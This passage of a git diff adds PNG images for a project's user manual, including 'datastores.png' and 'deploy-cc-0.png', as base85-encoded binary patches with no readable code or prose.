z0&d%W`{gk2mcAx%f}9IYUs$5Ehx@(U*H?-4=h;^3>TkXhK zxZ<`CQ7*d8rM!NB(Mk3fu}MjffDco;p_W=tFsu$@W}s<gJdDjWaO#$S+mWCf{X1&8=d~9#w!pwRT`5^Ba)4B-0D1FET>KDz{a%SEF!yo9x zrI&B?qK&*i;qq-;faIdOhe<$}npgwZVw&@8dQly#5!*?@NDU9E)i$tRZrH~tC=6HO zw44kZC@tNONx(Lqx~9T$SK5$pG=RZ67%0|tJirH)a{L_NCrjj$p$mpIv_A+2k1L=-_3Rj9_WLonU0Vf z>Ky_~xysNJ*;6IUCPg7m*w4HcjGw}Jd&eb^SV-9#9v89q-M(X|*@1gIf?pc39u~gZ zSXOsJcJKb$4Tr4Un)j)Pv7auBl7$4pkzx9O9q^cRn4+cJ8@9Qj@TIzPzq61Vq-`^> zQ_yoBHMi}Y$g6}DmQcy~-6teNWNjXM7pU^T0jfI$JoJ_59alH(U%d z*Zp8+caBy(?77T29?`t~qI<;ciZ=nziPnWAhhQ>wfc++RN01x-f7!y8X2qu_(WQAK zJNI<1Z9|eI!#joOLx#V8K74`=q=)Ff9As8<&3)=dRw?Wa!tFO6pJdttBS|EQ*@v74RJ zNM=yln6OD`Wm%WaEL+yE4jm(!F>V}i@` zY8yVvEnZA{X*yNBwBt zhH2$qj4XA2LYUZ1*=gB(e6sto0ergo#<06Gff%fn<9LP3AjGKwOHao#MOPf==02r2 z)i*7)y^!jJAQ`**3O088GqAVvFsj z8%NdQ%Bn=$({hYqqaQ~J^gEe!7`Jn^0qQ>}TVP}{@zxcOGWKdV?^x1fb!vzI<}3Ln zI|1TE_(LXr6}xAc41dXSX=lBxJ8|;!zH1X5?&Z+b*Y`VhV!E_+-EcpN+$Co1V@3lqF5%&I|BMjP z=EmdT`qJ`o5L|OPDL9J^W-}t60ZUF}1#v1P#O*Yq9X5W=w8t^Mp1&o}BOza1B7~JS zF)erZ1?1Xg>I1C-%kFBk-j4_ow@2%#6IYE`R(iNaY`9s2d91*2m_-_QO|;VDN}a*y zBE?BNN_J_y8E+Y*xQm%32|U;*uo_)76&iW0y+3A2JSsmnB$VuC=Oebw)L)R0>UbN~ zeUX_0voDzS;_Ou77WAg92qt?_P-lh6MFIS1jtTEH$0_L)aX}Igxcr~Boc$@_g0_xp zcdU;;)wE>^M|o^qt}~T~qP5Sre{seS_%uV(!kj5p-$YpZ`02>ee8D+Kfnc?+<%K4p z;H6JlHB~|a>ES#IwZ;0Zx;&~9vJ$MjNq6B}_q4QH1bK)%UkI2K=NH)i?&6Yz!P3YV z@i_@QiPg29v6p%(CAt=^Mgesvw5_|YXyHr6Ho~>?Zy6gO{dxq?O(rO)HdK2^m#l+@ z;I91bP>)hU04=YSk?MN~!nM?*7p^{R*;g9G`h6o#8N2G;dLNF^5Ya6fv6kBe}e;mqOC^4z0@ZkT%{EJ#r z!Ek;ubCr<~?xGczgyZRihx1D(dd=Ic)64yKCY$SvpS9gip7g~9>B%hy$TNcBuNcs^ zDW*Z}nM99HsMC6DXS$}v=hF3!)bWM9PpJmQB0=j+ZE5=9G2%t`6Hgst+sr?w>n<(k zzO1uI7nm^rY&q5aQt!4^z39?SHEXN4C3U~*#HUIc^bEu2kIhB97R0QvAG4KmhnSyNrj$5hW0wDReGu1Xg*`&l0{wrt-qKK9bzq1Jrrv!47n z#Wa@3eTtDC?zu7i0pAp(iYEcZ9&)w1>8NPX29cDr)>q9$3=oa|;x^`!%)hyGr(M8L zT=Mrd`z%FFdEnx^Akz3`RWToq_#i6Wr*5`q+`L_PIlNwSXARvluh{1Km)!5aNzOfN zp$Ru+Y}0eG((@=^2;=Ksd-0@Mz;39n=9=3{P7l1FWpSv7;BjW<9!yQ?!(4+GC*g&GbErmUvDXegX|C-STc2;9*>vC7lzXk}9PEs*s`6|(x{cUNtt!AS zV$}-i$hpK^iCMV2z~S%y=~>cg$P1XOSSZB+{9wM=I&<;s&R{)Bwoj_8hRULdcN3pO zVxec3tL>F=8k-Dn$AoOap_kONo#?J9$0A$*thF;ruj4?2DcgD7{p$t4Mx&kbGv)Z_ zrkmt>9tXtO>)2Cd`lUO?97Xn@qxDG@G2RobN6s*HdhFlON#HNbC>i$={jm zI;;5=ZXO~!`O07y@7=!Pi~gKr$ZX}Zl6#43LV!X@i{(>9?Cn{Oj$+EyrK!>%Im7h3 z>mpA$MVyfPip-S_BajwL1!;uOvic{F1#)iZJU1YxB2Mrw02F|b@>!Y!y73$L<3&D& zop~+fv9V^6o-p%a3$z$!bV=k}E2>-rc;4x?ZYA>NMiG4J+92;t6tFH@yI%_8F%aQs zT`JjD_mn8}StNnYrbP(c@vggXzMGhSm6q0^xnQn8btAo))~4i_g?4q|Si=&e#CbMa z^ZEeP7_|#N(S?;Q2G%qE*Tf^pz^(?A`MyrK{yZ_s5=e(~P{B2i2rpDe%`JR@{Q(?+ z$3k)mxa)0pWnI;ykb$f>_6t=H?eK~Uu*~uu-CZ3A%)-KxJNF&QaoTRF!xG5lXZg5G z;|Y=z2ha=Q8O(TjZ3H3>$BScv?W4@5Mi;jgqMHCZDTGeGc;R*-TJaBVjC9!-hh%(mGA3W&4Q=9bEM)kzXT;re78e$ z`ryD~KzUeBkrfgU107CfL(R5tx+<#fJ!?+Mk8`>4h+BX_r?!jQmeP<1(M`Ffbjb*w zv!+LN^AVP2r9%o;XOU8hIk9N;6e5spf~)7u=)fLFzn2BblQFVYL0FBxjp{FooWyeaR6UZ9jD*#>Ict{U1jVkONKe#Q#OpNJ1g)tQ9I895*b#`K1yI`v|lg+=JS_l_dTkF zjB82&D{@y&in(zqUOIqr#xLDNyy4gU*(2L#PC1`5vz-hK9 zI^m&_7yaLEr2E0^^`{L#hB}ZIS_Y+|8A$e`G9@NQ=2-Wk$PYqqE@HSTUp1`dU+t@S z%*~!m^liYB08%3F;yRC#i^v4g)gI5yF$8y^Q)2s{h|4#PbKaBR;O*vv7da7*SBPiX zx4NJ&U}zPt-MPd|CU`86Yj-bDGFa2#**AibVE?yP1NqGqfTNvD)B3&&26a)AHo*ct zZ`I-<5S;l+&g=WxV{-0GvT9OTPgu(Bn%OkKt`yYk?g93J;~?t-QuU8r=Mzp*uQW#E zOkc3bM`ha*QM3Q;U$J1UC;^x?KHAbn)Yp*bu*Eq1y(I|vE-jg_;9Q0_BseUt>D)Dj z$FOY6_X$-%dOY`Mi5&0R6AF*~CaHsnCdw&(2Ns<#+}EBtu#zA}a)u21TByh-Y01iQ zYzu5vZUt2}7k3pw&zftruK+a5F5m1D1Dog5TuZJmATZ9e+(c@-;WR7_1=YGv4udqk zzzHw`_CzRM#3Rrb_R1SBnNDcQ~Oj}Ne3xO?|5hr^ZMiF|HgYv1Gxy@%>B zoF0V^Q;fiT6*L08WsIe9r9QM51cOBVn|QaRm0 zckTTLQUwFMtO?9QWWsHm{K*yJJ1g^VHB}NFN^Fv1`ko%vly46oT}A?kLCy?N_=wXk z8ozeN4<}Py&FMA1UZoRHXmcOP?Ajr7J_O#uRqnyo&;#TPuLRqy+{>PTbSIDaRM%YJ zCptaKnxMo`ccAm1kXWcus`?sP@gx4+{gdK)Gq9NP10)u`f}%kr&+p?n$gv(Ld=K$G z4|(^>2JHkUqOtqVP4#OJ38)P|i27CDlyP=HA8+=Qah7Dv2}w+IqM{EJ@mJ9`hzcRR z%;BUb$G<+s?psdZ1AMW0X5A(NNGz;gn?QYhHl2xgI7JNuiI*N|=SJih3&t}6!B`50UorNcm8rdX>xnhUs1A02u6 z)Ya+l?TI$MBaQDd3{F^01n}3v-fC9p^%>;U$a(eVJc&04_%|j$ZxHKsK6-&lOQ?O7 zMR(~Qtg@z|W_(y}`r(@L55C$!wsqaej`QheRrF1FpSY0;wBrwg(JwSS0exT+oygfb z0zZb99knT<%G>J*|O|izLs1k4k*&gSy)I?s9C_22clvibLo8AF{ zqAvr3YcRo2PxI-x6-t7`H&JWlURUpO?zBqy%28aCjGJ{h4{4(3n&}1|#SdS1Y zag6guM2qsrp`71l?Gb>8(*Pv2lUN@e=TAgnkWA3*pnWeB6IrYLj%sGDH}gR&FV(+$OqNO_jP=%O&Xbea zv-!>KF(yedRaO3?{{C=lYV{ca340~nOqw4U&kB{p2@vL1^wiD$^y>}eBup=D)q2~TKkfh=jjD3F3T=R zTOwa%&Jw7LUF+;s4ta(HWTHO~a_#-mMn7J%7A4I z1Y7aO7M5W-H6tL*+fL-RRUJ->yV6+kBayzww?fI|r>gBR#pI)Fs!3MPXKkjA9z8Or zk>^dYb=xtO0G)CrmJld@IDZl@{cnP14zgbpjlJ*Ke=oz^eht;EddwDmh(YAw=I2JJ zsyrxreye+40eNLwC@@xayOlPG0RY5j%3!toP)tXEzM4O5-)aP~=UJbUKdvny9#?&) z^X364Rn?b>QWio552pDlrgF12@#-^T{#?x;=ccbeND^Ew6QmvK-$V^AyT1TD8e8Hv zQ~3of%JaKvP%*P&UNTRJyhh2^1~xW1Vj4zjXi0-S%6SV0f<`o-d)%0S`aIh?FpZ;L z^jVd{-|RAtRiv;UO2PzLZ^wi}ep2i4i<2n9N+t%E)$3zwhlhG2YxkzeAWDReX95l| zpYhs*=krP6yIfIKRSkK28g=`l$hq_j1vjR>ByYOEj|@5>vna5!;;~`5m+8!#ft9zm zUWN7(M~34Z-0fLS;4l{|2?=fk*k)ZR zdI1JkP;xOmkEy9^s1QP43pAYC~Pwe=rmqKQ&2jDyUk~$OL(A-s!TnDlWc? z5Y0r=3RZp|61=LcxDxng#n@>rS~-P~M4)890&xH}!=Y|M9zB%`@if3TCY;VwbM1h1 zy}GM!=)vzV>zWLO>Yp;yY@B;2eDjJLnYk5=Io=#x_BW4vH#e5JIp3&#Aqg5R*<7EC z<6XYKy(Dj)Q1;ngx5RTvF2DtGF zEeX$;%pK%qY25bebmGk-JLGu_uoCv)t~qU*+`c>Ha~%aE!10B0?77&u?AtC=H$oC%ghg89Z zEV0lRYfuTW3?)g_ng;F{5qgZxc3`k^+1!1Nl1OyerW=`(|;Jrd=H}Q%dN_wx|S#VPtq3wx%53jU7s`4n@!3F%m|nfhVoq@ps;n_JF8|7o^1> z?jOlfRq`=A-29dvg3Rm*%s0$1BYF_x;@=<`&Gq~{VW|5r$g6C~3s}Z*pw#}3=_b3w zP`cX9hU{6i;0{=E(U*`XND-d0;+Ptt-qL`%W9nAJ0i~RcOAf%-{)yj3lT+*})C!S- z@Nl$JUUKBlRfe}U^$Mt_{)2Nu*kNssqi7WaT z(}JIO3dpgB?QV0=efq|;8~mZJ)!u8aPT=#~cl&9O%?_D=NcGuFypG3APQpnkE6ta6 zFTARkCtC+0ShksL%D$UuO))d|;ndhFDOEPXFv!1=ER-T_AixZO{vozrCou8qS&@zS zub08D&s2M)^1t@5eTrZVkJN|UC6Dc-({LrcCGgf+$&NI3WmUCa|27)2fy4P&azMr+ z>u$q%a$BXr1dz6b@W9KnbN%53U>}u!tO`nIoOTTai4YZ6khH!s)e^%3{QwYV{N7 z|B&u}+I_<(E{|h_EzXsH^`dc5Aj&$%*^&%x^mY{qb?Nb^+o{$R`%$~tu>BH|9=?g0 zE`HhD`S|@3^}VA(_@mVKts)sVH#k)Le$mASzzvq1lLf1>NY#GPyPO=nRbKbogo~fD zkSxAQUY+j;tkb*P7nztP_b#2fG@|1=3McI4;d~#I#&c3FJ}5l&TT>v5i+JqPL%VvB zE@~B0gE2^tx%Q742I$(n(jR)76m59*}Egr*8!9lg?)vU(8FLwpx7>KPQn z#>YF8rd+aT&cr0=UE#Npx}A;HJiKk&K2_u{0Bb1~0C~GFnFrZzYNe?vh7~p_ROqIe zBgXQvfFxs5jPv!iwc*l7qLW1@7~ST-(AGcdyj?%>P6T|hMRnz!4otSoRJsa``VZ5MgLGwWXh+=5q)-E^I@Mw8_8J{#0!@Kby z?W*}M-io#1I2-kf0P)3$0pr&d$SiP^u=DV1BWX-SX&?3^bNsr}a&8x6gj-#Vs8H~Q zB7w=(8Mh}`T_4-|skYKX^|U$l9IC9+vrb(>GuZ6?hqR8mfiXHK zWf>@Xc#nEYHWnPsbDu>egUsKNyUhbPq)~yks2FSfZfTc9Mx{NscHu=vI%1soXTc@e zOI@Hb3aOF?V!b8o8qOwrYiHDx-x+J==2@$KI5QQuximiOP#^9(RV(G;`fB9U`{K5v z>4cNN8B?S31}QyAE1fJH4=~@q+35BB24q_38h&(`ZB_y4m%df2P+cKXETN-;Wz}Nx zjBVZ@M4wlJV5j7cUYS8ReG2Ky;zZQbWs2A{+$FB>!zb(_o>JL3#n;fKw0SHQ(sE0$ z047qY>fw)tB4v)fIHFI5dotaczQ#2)96unJ>LJ{)tWR~-hyEzbV* zbZDQ>?|_dQ;mKrf|H6O@5zqqtYCj(^^^0m(XqOPez)a;_X@s}dClj1pMsN*XvQXD8 zDXi>JDg#myl&4W~mmvMym>S#Y0bp!FRWlkUte^8y@xoF3hWEH36r! z`2({eK?4zPuNU&$7t1(uCV^?oUz$>SX8*76#~xbi zxR~< ztoH5M2cb5_p((|9>DD$Ii?48EJNB;j$eH7_{NAi|JIC<7q1uQ_f_ z?P6stcCTfRut1QwJ3Yy_37bjUkV7b%y@a{pS4dF_=SrgVxUbFNyq% zT#Of^^HtZO=+7bRvH!?sP1ka!)$yo59UtpQFeQkf=NiO$K{rXCa9t~$ndy&PGwaVY zK+PrIo2uO+%BpW5SkYV5m1$*=n5A2AML z)0z|(o7`*VQWU2PN`HhmY?`=E-)FihzhLg5#Q$kF{+ep<#L_?8cl5uCq1yW73koaqHujnNVr^JPIrSgwe5Vd*-J5YW0JoTYOG5i+#BuD*8lQ=lCOZGWPkTk z=o(Tj$mdiW;vg06{_z;Vo9G!3E(~e{HThtpQ-$2Q`g;HNk9_;lb(uH0m7u z5F5NyyAjXM0b&2L9Q~c|ciX-=Kbdr7)!EHT%!xR;&()j5Zi4vqv?#a9xl9ncY+-Tt_I$Sj&zXTh8CW9lEz zD$iO9jR%Bf+y*7NSc)jT?Y~@Q!jTLLqK~QR`Cjwol5e{3V{$FAXcqV!x$WW8%WERB@0M{EAvDO2SC$VP- zvEx7k=waT!_~TXs#F4_6d#I4QTPy(Yf`a^8)bYPUsNbVO{(-;n-7i5to6>LJqUii% z;-8uTL5i51p%edOFhrHU^nIby2U(HK^~KJ)t)~93?Ze9&^<3KDC?O?=)`g-|10?_Q z!Zi86jN#uRrE-L4yk8gt9nkH_*8cwglaE%$E#vm7QwvNxwr!0MuI;HN`1iy^1pNc- zWQNzGRbV<)rnYVU8QxtJ01^CWl7Y^6;AM@>IDtF&(;tG{L=-f?Ki^`+3LY~WGCshrNW>NY zT}`r=(($GWeig>fp1Lmyzb?}NZOp?A5NkyKm;lb4{LWNQYSxZ}Xqg9$G@b@jE454o zEsfj~CfZE=EJ@*=NfoDakI`rj{sw4*3*%d=2CF}MCr);dHv__zo5%_dGWn8iHFTB| z9zfgmDCK`e!>)wKIp&v> z?!eJg|En0ke}i8`3Ph^aQ~w?0mazZ*O)YXk*0|?oum9cr|9*Ht8bA}twCh_M_Wv~~ dWqZsfQ?S*fXAagjZX5h3dr|R1+IgdU{|7N8MHc`7 literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/datastores.png b/docs/manual/imgs/datastores.png new file mode 100644 index 0000000000000000000000000000000000000000..47ab6a5d6c35d27e702349fc8ca1f2a0d198097d GIT binary patch literal 10487 zcmeHtc{tQ-|NnG)q7Ko?Dan=!A!N@s#3_`e?6T!BBr-K4V$7%%m3`j^$(Fqc*-uIK zkuAnDk}9jNv5Ro_}(6-8DD(oR~ zDK*x7r^SwBwu|)rw|*Qy+j>U)W}z&X_}i(0=bpb~C9WPlcs0F0rCP2pZSakR@ZjUT z-(xRU*XjQ9`riF>jz!jP(hmhWwq=}h`+P#ONoZ1&mQjzL9Y>NdI>E{`$7MB%V1<}G7Aa{X7iGrJ`-q7lBlv;(m{qY@AmVd zi^U$IH}vYEkYg^ZKaE=mb6J-;NUb-om%@clUOR-BDjypggEg~eJw!MjaSt^HmLvEf zy1ZNS&)c3rQN0T{Y0aD3RhvzW<#?7yWlp%9}j>#f19n(8Pp{RZ%}{}8lJhfy&E2m7F6?D9l*3AjA(1IsXcTV}Ztgp&Nr2%!9|OuNJb(o7r`X$=TBQcpXTGgZL2} zd;4_k@qNU5-V!ZI>YJYz$|oyeU2GO3JfJH=K#3^Zl_bmfm=o<3Fq4SG;iN3`M}{Pf zQw|M5nV(wjaq)NNW8tDI<%ySvIU(X(5ntqb%F)rWY^ArxoT0J zfc3tK6zm~|?iO@Ijz0HvAHX&TP)Pdl10Q8gOiU_jF|0s_M@eWQb;LC~)g-mot+J_! z01f=;z2lpk=55b+WMNg5mD@8X>iyGAlumS*R(j$lYv7aFYTRr4Q~SH?4+;uOnqo)# z`ktW~e#rL4mAN^Ebj8M0ZR!Qe#Ror_C1p~*ev{3xU?j^sXI5fnOKO_89aHh_2zQut zfT>b?SA;*xg0&<&AdI}ciUZ(sE4@?Q3ruagLB>ECFXXIk1B7PTc4wcAHL=8*pvWV1 z@)Cyq;>u8w+iZ-OzPW$gXMwzic36}}oBs{&jZ8_iomvxD) z0*bnr6Qxm9R%Xh!aq99;&?u;^L=HZ=P^i$(tUs_DJvugKQ|^=@B&~b`)&LvGH{o}> zIn`$%>gen|IXW6RmzTUe@~lOuv)p~9LuVfQ)uMmbz5kS=FDomnZkg^YHgN!Qe_M;d ztq=rLoey&N_RN7lPJv#(XJ?Wtgi`^#P4|#()Hb2l02kc8q|R||4`}`WxbyE$@=Bx6 zKI%uEyI{VfF`koHJ^JW3=+-pTY1Z_1^Z(94R~q5wbR;MTk;0nQO--2b7uS)qILBs8 zqk4kQ;Sp5#!Wg_6-Jfd|85!9of?CY*C!}grzP<1aRCG`~JF-JVLklemI^7ZN4K?-k z^*K4N#P(SIFdh>>iMV*t0Aj3NrTcC{Rqu^YQ%g%rGS(%AJP$ONU+Bxp+Qg2j^SB&5jTYi)r2F~Vn5WzM(I!!0?@@%WPDcF2>%Nv<^a z?i8`f*(6zeDoBq;a;Hp2MutVcu|k;JCa3_5@k`fVHu!jXp;+s~^>uY_4lzApqL>#c zIf}OJ5SJ*Qv1${ic6Y_ADKw{G*1CPQH@-Qz8K1gnrrJ7M<+U(BpKq4Mo-Zy3#h&sw zT&{E74>?j=x*&?>7yK40Wa_DD7G#gt@P+EbF43`U)E6fok_HjFkqBo zSCb+}P>f>hGr!}f+$ME5$O9Y@%Nzq77hQe{IFkwI2D`sSqz6QdJ z>pA!Y{)&M4!h-$C!3bzaA23@x>AB~?BF%@;fcKW@#-O5&MJi_T9$6~s@Mc!EcjmQM zyWEka?$io8=oM)uNZ!JqAHDNcqADduaYxV zA%6%0D-s18=6cFtZu{q~0tYzr~Tdy1L%7_;Z-Rk+I1} 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 D=c1X8 literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/deploy-cc-0.png b/docs/manual/imgs/deploy-cc-0.png new file mode 100644 index 0000000000000000000000000000000000000000..a965d50ea1129f10e71c4a4b097de6a7565502e0 GIT binary patch literal 62898 zcmd43b9mm*@&Fp!ZEV|i(xhQy+qP}nc4OOa8arw1#?~9_rbpkN^E*9%-RC|xe{FVW zX9qj8vpe&7!(^pJ;bE{~fPjGD#l?i>fq=k0fPjD(pdj9RPC3JH-v9A56B3dY7ZM_n zwYM=gvorz%qKGrl)uj@rp%~KB)72dsr>2ClcaaYbjg;5z?&}%v=_B~A+fR_4s;Rk& zfwbA@`@yq)pa<$J{jvX;#Pze=Y*C}V;64x;JXHtP%I0B94jsl?Xe87egAAxb93^#ylX9-Ub37k<<$G?Lpe?ZxRGn52c z0ue`Qf(Xq*(9`f;9L5Zz6lj7Rq6@|D@ty7a+`HN%zYyo!E)LPkS;)XGkk_A(j*bOq z4~aC&;L6a#K*5m8jKQGFbil-sT%erj`;luOT@lTw$Rv@114M{Tsh5+#Ik$nNQB1U# znO;psw0Edy3a9|#qX|+zKct_O$w%%Oq*0xr9^KNho}SeJB+2xFo*FMi(17ohfvF=r z5D?xL5W!aaFeniyTL>o41D`^5GL0?4^sYG=8EV#_-rnl5KtZ2KAcDI;yuH139=yGE zNBG@>Zl4Gs0Fk(uZAMz4AOZn_K$t12I;u*2;WDtXqSG_9(Kn)VwX%KJ6A%!OE7yC| z%E(cVz}3pq+JVcJm*{U0T<`5)-Sk8Re*_U0ht~T$t%>>`mwyIXOA$8JOsqm}uW2XdT?F9ravk ztsRK}j^v+sgpC{w?9FT)&1|d*e&N;Aw{ddhB_jH@(7*ovPN$Kp* z-_&Enlj31_50gVSJ_{nV_!Ci}epdKg#Se!T(f^f*>MIe2Klsc@Ul7XHr%}?Q7+F?L zQd1~WYZ61DA(Wxmo;MF;=UdA5;XS|Dz{v|DZf-=AiH^y%w6*hW&JXd9Yg4eB0>Che zA2wSwz$xB)WPL$?Z<(;Ql zQqzh5A6EVem%9YRu()Cw5saDtUs?VIhtvTS(AleDC;n%)$Ccl?Hr8Mn!}v4Xo8TBH z@ay4{^8YT>e^T<^YuW^&H_m4AzmSk2aX1})3=a>NRZ^M*(o0^jS{{8!AICWJC zUp;~X#z`e88hYWMm{HI1g#iro_vdM~JEs`#Ph|5(`1|`qKzb}i^^sEYSttHUC8l&B zWuMOrVE|O1ji&>qN@Kb<4yAHqkbmYE0_t6|Ks;3ve-?i0FAz-$|A*g%@E^@7pm#N6 z`wlAokDY-2YbQvGGvI$T1p$_tP1mJf1^cgb^%NrM*4)XLEVPWvEvDb7cs?ElVx|22 z0`o&jV00yvP$*b;AXsyuEIR+G=4avO#TNDr*3+*s99OlMNuO0~_3&}fy$ongKp#BV z^`|ANYtAW@)TK)qi~r9K^xGqS-{THcG3yDnHxZaEY~MfvM|}_~ReEai70z2gU54J2 zATu~x_NQAGnq0t@t(GH6WzMaidn}SbA0QoKZSEFx6HAn95GC0x2g+1leTAetj>q#p znFT!zJ+R@gQz4vqxIweos0Z;|T72vAZ~)T7OBczlL)qP3Z>%z78>?io@Z*|~7zwvG zP3k?D(@H_)+coYm+%-%5m?I#5X!gUe4D%eRUgR&`$YuyUq%l)Ca6G@da7ZsSx#v$J zS^z$#>ArwjXZgvbM18uG-CV3SyI^ktlS+HKcVkNsd^bx;Wdm!(N 